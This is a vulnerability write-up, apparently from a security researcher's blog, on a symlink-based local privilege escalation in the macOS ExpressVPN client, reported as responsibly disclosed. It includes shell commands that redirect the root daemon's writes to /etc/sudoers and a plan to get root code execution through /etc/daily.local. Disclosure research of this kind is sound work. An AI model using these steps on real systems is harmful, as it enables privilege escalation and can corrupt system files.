As macOS continues to become more prevalent in enterprise environments, I decided to investigate various popular applications looking for security problems. Today we will look at a local privilege escalation in ExpressVPN.
ExpressVPN is a popular VPN provider. They run over 3,000 remote servers in 160 locations and 94 countries. ExpressVPN has clients for all popular operating systems including Windows, Linux, Android, iOS, and of course macOS. The research in this post is done on the macOS client version 18.104.22.168 (latest at the time).
ExpressVPN runs as two processes with different privileges. The first process is responsible for the user-interface and is running with the privileges of the current user. The second process is a background daemon running as root:
user /Applications/ExpressVPN.app/Contents/MacOS/ExpressVPN root /Applications/ExpressVPN.app/Contents/MacOS/expressvpnd --become-root
When the user interacts with the user-interface it tasks
expressvpnd to execute actions that require high privileges. One of these action, for example, is connecting to a VPN server. While connecting to the server the daemon stores an encrypted copy of the current configuration. The flow for storing this file is:
~/Library/Application Support/com.expressvpn.ExpressVPN/userdata.XXXXXXXXXXXXXXXX000.tmp(where XXX is a timestamp)
This piqued our interest. The daemon is running as root but is working in the home directory of the current user. This behaviour is often vulnerable for tricks with symlinks.
After browsing around in the user-interface we noticed the configuration file is also stored by quitting and restarting the user-interface. This made it easier to reproduce the behaviour during further analysis.
There are two vulnerabilities in storing the file. Both have to do with the fact that the daemon is running with root privileges but is working in the home directory of the current user.Vulnerability 1
The first issue is that the ExpressVPN directory is owned by the current user. A malicious user could prepare symlinks in the form of
~/Library/Application Support/com.expressvpn.ExpressVPN/userdata.XXXXXXXXXXXXXXXX000.tmp. Restarting ExpressVPN causes the daemon to write (encrypted) data to wherever the symlink points with root privileges.
The filename does contain a timestamp with microsecond precision, but an attacker can just prepare millions of symlinks for some time in the future and connect at that specific point in time.Vulnerability 2
The second issue is that the
Application Support directory that contains
com.expressvpn.ExpressVPN is also owned by the current user:
$ ls -al "~/Library/Application Support" drwx------+ 98 user staff 3136 May 13 16:46 Application Support
A malicious user can move the ExpressVPN folder and symlink the entire directory somewhere else. Restarting ExpressVPN then causes the daemon to use this new directory for storage. The directory normally has the following structure:
$ ls -al ~/Library/Application\ Support/com.expressvpn.ExpressVPN/ total 16 drwxr-xr-x 8 user staff 256 May 14 20:51 . drwx------+ 40 user staff 1280 May 14 21:20 .. -rw-r--r-- 1 user staff 5 May 14 20:51 ExpressVPN.pid drwxr-xr-x 9 root staff 288 May 14 20:51 certs drwx------ 2 root staff 64 May 14 20:51 data drwxr-xr-x 3 root staff 96 May 14 20:51 icons drwxr-xr-x 2 root staff 64 May 14 20:51 log -rw------- 1 root staff 940 May 14 20:51 userdata2.dat
If any of these files are missing the daemon will create them with root privileges. But the daemon can be tricked if a file already exists as a symlink.
To start this attack make sure the user-interface is not running. Move the directory and prepare a new one with a symlink:
... going to target this file $ ls -al /etc/sudoers -r--r----- 1 root wheel 1563 Jan 11 04:56 /etc/sudoers $ cd Library/Application\ Support $ mv com.expressvpn.ExpressVPN com.expressvpn.ExpressVPN.bak $ mkdir -p com.expressvpn.ExpressVPN/certs $ ln -s /etc/sudoers com.expressvpn.ExpressVPN/certs/client.crt
Now start the ExpressVPN user-interface. The daemon has overwritten the file:
user Application Support $ ls -al com.expressvpn.ExpressVPN/certs total 48 drwxr-xr-x 9 user staff 288 May 14 22:57 . drwxr-xr-x 4 user staff 128 May 14 22:57 .. lrwxr-xr-x 1 user staff 13 May 14 22:57 client.crt -> /etc/sudoers -rw------- 1 root staff 1679 May 14 22:57 client.key -rw-r--r-- 1 root staff 2541 May 14 22:57 client.p12 -rw-r--r-- 1 root staff 1070 May 14 22:57 client.req -rw-r--r-- 1 root staff 1346 May 14 22:57 clientca.crt -rw------- 1 root staff 1675 May 14 22:57 clientca.key -rw-r--r-- 1 root staff 3 May 14 22:57 clientca.srl $ sudo head -3 /etc/sudoers -----BEGIN CERTIFICATE----- MIIDqTCCApECAQEwDQYJKoZIhvcNAQEFBQAwgZsxCzAJBgNVBAYTAlZHMQwwCgYD VQQIDANCVkkxDjAMBgNVBAcMBUVhcnRoMRMwEQYDVQQKDApFeHByZXNzVlBOMRMw
So far we have shown ExpressVPN can be tricked to write files anywhere as root. This is a good start for exploitation but the primitive has important limitations:
We have some control over the file contents by choosing to use vulnerability #1 or #2. When using vulnerability #1 the file will contain encrypted configuration data. By using vulnerability #2 the file will contain certificate information.
It is easy to turn this into a denial-of-service. We can overwrite system critical files as root causing system corruption. But is this primitive enough to get a local privilege escalation?
I was stuck here for some time unable to think of a good way to exploit it. I continued work on other projects and suddenly got inspiration and came up with the following vector:
macOS has a collection of shell script that are executed daily by
periodic. One of these scripts (
/etc/periodic/daily/999.local) checks if the file
/etc/daily.local exists and executes it. We can trick ExpressVPN to create this file. The contents will then be executed as root.
However, just creating the file in its current form doesn't do much. We can fake the execution by manually calling the script:
$ sudo bash /etc/daily.local Password: /etc/daily.local: line 1: -----BEGIN: command not found /etc/daily.local: line 2: MIIDqTCCApEC...gYD: command not found /etc/daily.local: line 3: VQQIDANCVkkx...RMw: command not found /etc/daily.local: line 4: EQYDVQQLDApF...CBD: command not found /etc/daily.local: line 5: QTElMCMGCSqG...DA1: command not found /etc/daily.local: line 6: MTQyMTA0NDRa...1UE: command not found /etc/daily.local: line 7: CAwDQlZJMQ4w...BEG: command not found /etc/daily.local: line 8: A1UECwwKRXhw...TAj: command not found /etc/daily.local: line 9: BgkqhkiG9w0B...Ib3: command not found /etc/daily.local: line 10: DQEBAQUAA4I...zIvs: command not found /etc/daily.local: line 11: IyOAecy5ZTj.../pSP: No such file or directory /etc/daily.local: line 12: H1wd2JoYds/...Ic32: No such file or directory /etc/daily.local: line 13: SPO92F5T75+...zf87: No such file or directory /etc/daily.local: line 14: aQp2eOWcEGG...nu2c: command not found /etc/daily.local: line 15: y9vZsp/FsWh...KoZI: No such file or directory /etc/daily.local: line 16: hvcNAQEFBQA...k1Qa: command not found /etc/daily.local: line 17: eM7qAq72ovf...1dGu: command not found /etc/daily.local: line 18: Nk/i+rSMZFs...Gv+i: No such file or directory /etc/daily.local: line 19: DgYzx4MrjXD...GU7S: command not found /etc/daily.local: line 20: ksa2t65+HpQ...Jr41: No such file or directory /etc/daily.local: line 21: CUGe0zhuyPv...R4c=: command not found /etc/daily.local: line 22: -----END: command not found
The key is that there are two error messages. Sometimes the command is not found. But when the line contains a
/ bash tries to follow it and read the file from there. An attacker can abuse this and the fact that the contents of the file are basically random, encoded as base64. By generating this file millions of times an attacker can just wait until he gets lucky and one of the lines start with
-----BEGIN CERTIFICATE----- ... /TmP/H79Ac4bkGtwVKcS5JArlBImGrGg39QCkgVHTDefXhpM8IPk1iusSxfTDJvtV .. -----END CERTIFICATE-----
bash will now execute this file from
/tmp/ is world-writable the attacker can create a file there and it will be executes as root.
Note that this attack is a bit theoretical. It might take millions of attempt, and every attempt requires a restart of the client. However, it serves as a proof-of-concept to show code execution is possible. (Do you like these puzzles? Maybe you already know a better strategy to exploit this? We would love to hear from you. We are always looking for new cyber security talents :-))
This issue was responsible disclosed to ExpressVPN and they were quick to confirm it. Further analysis showed an interesting flow of events. I actually re-discovered this problem. They already knew about it, patched it, and even published a new version on their website. Unfortunately, that new version contained another (non-security) issue. As a work-around they re-released an older version and and by accident reintroduced the bug.
ExpressVPN thanked us for reporting the issue as it prompted them to instigate new release processes around security bug fixes. These new processes help to ensure a similar problems from happening again.